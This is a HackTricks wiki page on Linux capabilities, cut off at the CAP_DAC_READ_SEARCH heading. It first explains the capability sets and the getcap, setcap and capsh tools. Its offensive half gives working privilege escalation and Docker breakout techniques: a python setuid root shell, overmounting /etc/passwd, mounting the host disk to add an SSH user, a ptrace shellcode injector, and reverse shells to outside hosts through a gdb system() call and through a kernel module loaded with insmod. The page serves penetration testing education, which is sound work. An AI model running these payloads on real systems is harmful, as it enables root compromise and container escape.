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1553 lines
61 KiB
Markdown
1553 lines
61 KiB
Markdown
# Linux Capabilities
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## Linux Capabilities
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
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## Why capabilities?
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To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.
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Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.
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## Capabilities Sets
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**Inherited capabilities**
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**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
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**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set.
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**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children.
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**CapBnd**: With the _bounding_ set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
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**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls.
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For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:
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* [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
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* [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
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## Processes & Binaries Capabilities
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### Processes Capabilities
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To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\
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Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.
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You can find the capabilities defined in /usr/include/linux/capability.h
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You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc/<pid>/status`
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```bash
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cat /proc/1234/status | grep Cap
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cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
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```
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This command should return 5 lines on most systems.
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* CapInh = Inherited capabilities
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* CapPrm = Permitted capabilities
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* CapEff = Effective capabilities
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* CapBnd = Bounding set
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* CapAmb = Ambient capabilities set
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```bash
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#These are the typical capabilities of a root owned process (all)
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CapInh: 0000000000000000
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CapPrm: 0000003fffffffff
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CapEff: 0000003fffffffff
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CapBnd: 0000003fffffffff
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CapAmb: 0000000000000000
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```
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These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.
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```bash
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capsh --decode=0000003fffffffff
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0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
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```
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Lets check now the **capabilities** used by `ping`:
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```bash
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cat /proc/9491/status | grep Cap
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CapInh: 0000000000000000
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CapPrm: 0000000000003000
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CapEff: 0000000000000000
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CapBnd: 0000003fffffffff
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CapAmb: 0000000000000000
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capsh --decode=0000000000003000
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0x0000000000003000=cap_net_admin,cap_net_raw
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```
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Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs.
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```bash
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getpcaps 1234
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```
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Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_):
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```bash
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#The following command give tcpdump the needed capabilities to sniff traffic
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$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
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$ getpcaps 9562
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Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
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$ cat /proc/9562/status | grep Cap
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CapInh: 0000000000000000
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CapPrm: 0000000000003000
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CapEff: 0000000000003000
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CapBnd: 0000003fffffffff
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CapAmb: 0000000000000000
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$ capsh --decode=0000000000003000
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0x0000000000003000=cap_net_admin,cap_net_raw
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```
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As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\
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The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.
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### Binaries Capabilities
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Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability:
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```bash
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getcap /usr/bin/ping
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/usr/bin/ping = cap_net_raw+ep
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```
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You can **search binaries with capabilities** using:
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```bash
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getcap -r / 2>/dev/null
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```
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### Dropping capabilities with capsh
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If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work.
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```bash
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capsh --drop=cap_net_raw --print -- -c "tcpdump"
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```
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Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error.
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> /bin/bash: /usr/sbin/tcpdump: Operation not permitted
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The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
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### Remove Capabilities
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You can remove capabilities of a binary with
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```bash
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setcap -r </path/to/binary>
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```
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## User Capabilities
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Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\
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Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\
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File example:
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```bash
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# Simple
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cap_sys_ptrace developer
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cap_net_raw user1
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# Multiple capablities
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cap_net_admin,cap_net_raw jrnetadmin
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# Identical, but with numeric values
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12,13 jrnetadmin
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# Combining names and numerics
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cap_sys_admin,22,25 jrsysadmin
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```
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## Environment Capabilities
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Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**.
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{% code title="ambient.c" %}
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```c
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/*
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* Test program for the ambient capabilities
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*
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* compile using:
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* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
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* Set effective, inherited and permitted capabilities to the compiled binary
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* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
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*
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* To get a shell with additional caps that can be inherited do:
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*
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* ./ambient /bin/bash
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*/
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#include <stdlib.h>
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#include <stdio.h>
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#include <string.h>
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#include <errno.h>
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#include <sys/prctl.h>
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#include <linux/capability.h>
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#include <cap-ng.h>
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static void set_ambient_cap(int cap) {
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int rc;
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capng_get_caps_process();
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rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
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if (rc) {
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printf("Cannot add inheritable cap\n");
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exit(2);
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}
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capng_apply(CAPNG_SELECT_CAPS);
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/* Note the two 0s at the end. Kernel checks for these */
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if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
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perror("Cannot set cap");
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exit(1);
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}
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}
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void usage(const char * me) {
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printf("Usage: %s [-c caps] new-program new-args\n", me);
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exit(1);
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}
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int default_caplist[] = {
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CAP_NET_RAW,
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CAP_NET_ADMIN,
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CAP_SYS_NICE,
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-1
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};
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int * get_caplist(const char * arg) {
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int i = 1;
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int * list = NULL;
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char * dup = strdup(arg), * tok;
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for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
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list = realloc(list, (i + 1) * sizeof(int));
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if (!list) {
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perror("out of memory");
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exit(1);
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}
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list[i - 1] = atoi(tok);
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list[i] = -1;
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i++;
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}
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return list;
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}
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int main(int argc, char ** argv) {
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int rc, i, gotcaps = 0;
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int * caplist = NULL;
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int index = 1; // argv index for cmd to start
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if (argc < 2)
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usage(argv[0]);
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if (strcmp(argv[1], "-c") == 0) {
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if (argc <= 3) {
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usage(argv[0]);
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}
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caplist = get_caplist(argv[2]);
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index = 3;
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}
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if (!caplist) {
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caplist = (int * ) default_caplist;
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}
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for (i = 0; caplist[i] != -1; i++) {
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printf("adding %d to ambient list\n", caplist[i]);
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set_ambient_cap(caplist[i]);
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}
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printf("Ambient forking shell\n");
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if (execv(argv[index], argv + index))
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perror("Cannot exec");
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return 0;
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}
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```
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{% endcode %}
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```bash
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gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
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sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
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./ambient /bin/bash
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```
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Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section).
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```bash
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capsh --print
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Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
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```
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{% hint style="danger" %}
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You can **only add capabilities that are present** in both the permitted and the inheritable sets.
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{% endhint %}
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### Capability-aware/Capability-dumb binaries
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The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
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## Service Capabilities
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By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\
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Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges:
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```bash
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[Service]
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User=bob
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AmbientCapabilities=CAP_NET_BIND_SERVICE
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```
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## Capabilities in Docker Containers
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By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running:
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```bash
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docker run --rm -it r.j3ss.co/amicontained bash
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Capabilities:
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BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
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# Add a capabilities
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docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
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# Add all capabilities
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docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
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# Remove all and add only one
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docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
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```
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## Privesc/Container Escape
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Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
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You can force capabilities upon programs using `setcap`, and query these using `getcap`:
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```bash
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#Set Capability
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setcap cap_net_raw+ep /sbin/ping
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#Get Capability
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getcap /sbin/ping
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/sbin/ping = cap_net_raw+ep
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```
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The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted.
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To identify programs in a system or folder with capabilities:
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```bash
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getcap -r / 2>/dev/null
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```
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### Exploitation example
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In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc:
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```bash
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setcap cap_setuid+ep /usr/bin/python2.7
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/usr/bin/python2.7 = cap_setuid+ep
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#Exploit
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/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
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```
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**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**:
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```bash
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setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
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getcap /usr/sbin/tcpdump
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/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
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```
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### The special case of "empty" capabilities
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Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
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1. is not owned by root
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2. has no `SUID`/`SGID` bits set
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3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`)
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then **that binary will run as root**.
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## CAP\_SYS\_ADMIN
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[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container.
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**Example with binary**
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```bash
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getcap -r / 2>/dev/null
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/usr/bin/python2.7 = cap_sys_admin+ep
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```
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Using python you can mount a modified _passwd_ file on top of the real _passwd_ file:
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```bash
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cp /etc/passwd ./ #Create a copy of the passwd file
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openssl passwd -1 -salt abc password #Get hash of "password"
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vim ./passwd #Change roots passwords of the fake passwd file
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```
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And finally **mount** the modified `passwd` file on `/etc/passwd`:
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```python
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from ctypes import *
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libc = CDLL("libc.so.6")
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libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
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MS_BIND = 4096
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source = b"/path/to/fake/passwd"
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target = b"/etc/passwd"
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filesystemtype = b"none"
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options = b"rw"
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mountflags = MS_BIND
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libc.mount(source, target, filesystemtype, mountflags, options)
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```
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And you will be able to **`su` as root** using password "password".
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**Example with environment (Docker breakout)**
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You can check the enabled capabilities inside the docker container using:
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```
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capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
Inside the previous output you can see that the SYS\_ADMIN capability is enabled.
|
||
|
||
* **Mount**
|
||
|
||
This allows the docker container to **mount the host disk and access it freely**:
|
||
|
||
```bash
|
||
fdisk -l #Get disk name
|
||
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
|
||
Units: sectors of 1 * 512 = 512 bytes
|
||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||
|
||
mount /dev/sda /mnt/ #Mount it
|
||
cd /mnt
|
||
chroot ./ bash #You have a shell inside the docker hosts disk
|
||
```
|
||
|
||
* **Full access**
|
||
|
||
In the previous method we managed to access the docker host disk.\
|
||
In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH:
|
||
|
||
```bash
|
||
#Like in the example before, the first step is to moun the dosker host disk
|
||
fdisk -l
|
||
mount /dev/sda /mnt/
|
||
|
||
#Then, search for open ports inside the docker host
|
||
nc -v -n -w2 -z 172.17.0.1 1-65535
|
||
(UNKNOWN) [172.17.0.1] 2222 (?) open
|
||
|
||
#Finally, create a new user inside the docker host and use it to access via SSH
|
||
chroot /mnt/ adduser john
|
||
ssh john@172.17.0.1 -p 2222
|
||
```
|
||
|
||
## CAP\_SYS\_PTRACE
|
||
|
||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
|
||
|
||
[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**:
|
||
|
||
**Example with binary**
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_ptrace+ep
|
||
```
|
||
|
||
```python
|
||
import ctypes
|
||
import sys
|
||
import struct
|
||
# Macros defined in <sys/ptrace.h>
|
||
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
|
||
PTRACE_POKETEXT = 4
|
||
PTRACE_GETREGS = 12
|
||
PTRACE_SETREGS = 13
|
||
PTRACE_ATTACH = 16
|
||
PTRACE_DETACH = 17
|
||
# Structure defined in <sys/user.h>
|
||
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
|
||
class user_regs_struct(ctypes.Structure):
|
||
_fields_ = [
|
||
("r15", ctypes.c_ulonglong),
|
||
("r14", ctypes.c_ulonglong),
|
||
("r13", ctypes.c_ulonglong),
|
||
("r12", ctypes.c_ulonglong),
|
||
("rbp", ctypes.c_ulonglong),
|
||
("rbx", ctypes.c_ulonglong),
|
||
("r11", ctypes.c_ulonglong),
|
||
("r10", ctypes.c_ulonglong),
|
||
("r9", ctypes.c_ulonglong),
|
||
("r8", ctypes.c_ulonglong),
|
||
("rax", ctypes.c_ulonglong),
|
||
("rcx", ctypes.c_ulonglong),
|
||
("rdx", ctypes.c_ulonglong),
|
||
("rsi", ctypes.c_ulonglong),
|
||
("rdi", ctypes.c_ulonglong),
|
||
("orig_rax", ctypes.c_ulonglong),
|
||
("rip", ctypes.c_ulonglong),
|
||
("cs", ctypes.c_ulonglong),
|
||
("eflags", ctypes.c_ulonglong),
|
||
("rsp", ctypes.c_ulonglong),
|
||
("ss", ctypes.c_ulonglong),
|
||
("fs_base", ctypes.c_ulonglong),
|
||
("gs_base", ctypes.c_ulonglong),
|
||
("ds", ctypes.c_ulonglong),
|
||
("es", ctypes.c_ulonglong),
|
||
("fs", ctypes.c_ulonglong),
|
||
("gs", ctypes.c_ulonglong),
|
||
]
|
||
|
||
libc = ctypes.CDLL("libc.so.6")
|
||
|
||
pid=int(sys.argv[1])
|
||
|
||
# Define argument type and respone type.
|
||
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
|
||
libc.ptrace.restype = ctypes.c_uint64
|
||
|
||
# Attach to the process
|
||
libc.ptrace(PTRACE_ATTACH, pid, None, None)
|
||
registers=user_regs_struct()
|
||
|
||
# Retrieve the value stored in registers
|
||
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
|
||
print("Instruction Pointer: " + hex(registers.rip))
|
||
print("Injecting Shellcode at: " + hex(registers.rip))
|
||
|
||
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
|
||
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
|
||
|
||
# Inject the shellcode into the running process byte by byte.
|
||
for i in xrange(0,len(shellcode),4):
|
||
# Convert the byte to little endian.
|
||
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
|
||
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
|
||
shellcode_byte=int(shellcode_byte_little_endian,16)
|
||
|
||
# Inject the byte.
|
||
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
|
||
|
||
print("Shellcode Injected!!")
|
||
|
||
# Modify the instuction pointer
|
||
registers.rip=registers.rip+2
|
||
|
||
# Set the registers
|
||
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
|
||
print("Final Instruction Pointer: " + hex(registers.rip))
|
||
|
||
# Detach from the process.
|
||
libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||
```
|
||
|
||
**Example with environment (Docker breakout) - Shellcode Injection**
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root
|
||
```
|
||
|
||
List **processes** running in the **host** `ps -eaf`
|
||
|
||
1. Get the **architecture** `uname -m`
|
||
2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||
3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
|
||
4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||
5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||
|
||
**Example with environment (Docker breakout) - Gdb Abuse**
|
||
|
||
If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
|
||
|
||
```bash
|
||
gdb -p 1234
|
||
(gdb) call (void)system("ls")
|
||
(gdb) call (void)system("sleep 5")
|
||
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
|
||
```
|
||
|
||
You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).
|
||
|
||
## CAP\_SYS\_MODULE
|
||
|
||
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\
|
||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||
|
||
**Example with binary**
|
||
|
||
In the following example the binary **`python`** has this capability.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_module+ep
|
||
```
|
||
|
||
By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\
|
||
In order to abuse this, lets create a fake **lib/modules** folder:
|
||
|
||
```bash
|
||
mkdir lib/modules -p
|
||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||
```
|
||
|
||
Then **compile the kernel module you can find 2 examples below and copy** it to this folder:
|
||
|
||
```bash
|
||
cp reverse-shell.ko lib/modules/$(uname -r)/
|
||
```
|
||
|
||
Finally, execute the needed python code to load this kernel module:
|
||
|
||
```python
|
||
import kmod
|
||
km = kmod.Kmod()
|
||
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
|
||
km.modprobe("reverse-shell")
|
||
```
|
||
|
||
**Example 2 with binary**
|
||
|
||
In the following example the binary **`kmod`** has this capability.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/bin/kmod = cap_sys_module+ep
|
||
```
|
||
|
||
Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege.
|
||
|
||
**Example with environment (Docker breakout)**
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
Inside the previous output you can see that the **SYS\_MODULE** capability is enabled.
|
||
|
||
**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it:
|
||
|
||
{% code title="reverse-shell.c" %}
|
||
```c
|
||
#include <linux/kmod.h>
|
||
#include <linux/module.h>
|
||
MODULE_LICENSE("GPL");
|
||
MODULE_AUTHOR("AttackDefense");
|
||
MODULE_DESCRIPTION("LKM reverse shell module");
|
||
MODULE_VERSION("1.0");
|
||
|
||
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
|
||
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||
|
||
// call_usermodehelper function is used to create user mode processes from kernel space
|
||
static int __init reverse_shell_init(void) {
|
||
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||
}
|
||
|
||
static void __exit reverse_shell_exit(void) {
|
||
printk(KERN_INFO "Exiting\n");
|
||
}
|
||
|
||
module_init(reverse_shell_init);
|
||
module_exit(reverse_shell_exit);
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="Makefile" %}
|
||
```bash
|
||
obj-m +=reverse-shell.o
|
||
|
||
all:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||
|
||
clean:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
The blank char before each make word in the Makefile **must be a tab, not spaces**!
|
||
{% endhint %}
|
||
|
||
Execute `make` to compile it.
|
||
|
||
```
|
||
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
|
||
|
||
sudo apt update
|
||
sudo apt full-upgrade
|
||
```
|
||
|
||
Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
|
||
|
||
```bash
|
||
#Shell 1
|
||
nc -lvnp 4444
|
||
|
||
#Shell 2
|
||
insmod reverse-shell.ko #Launch the reverse shell
|
||
```
|
||
|
||
**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
|
||
|
||
## CAP\_DAC\_READ\_SEARCH
|
||
|
||
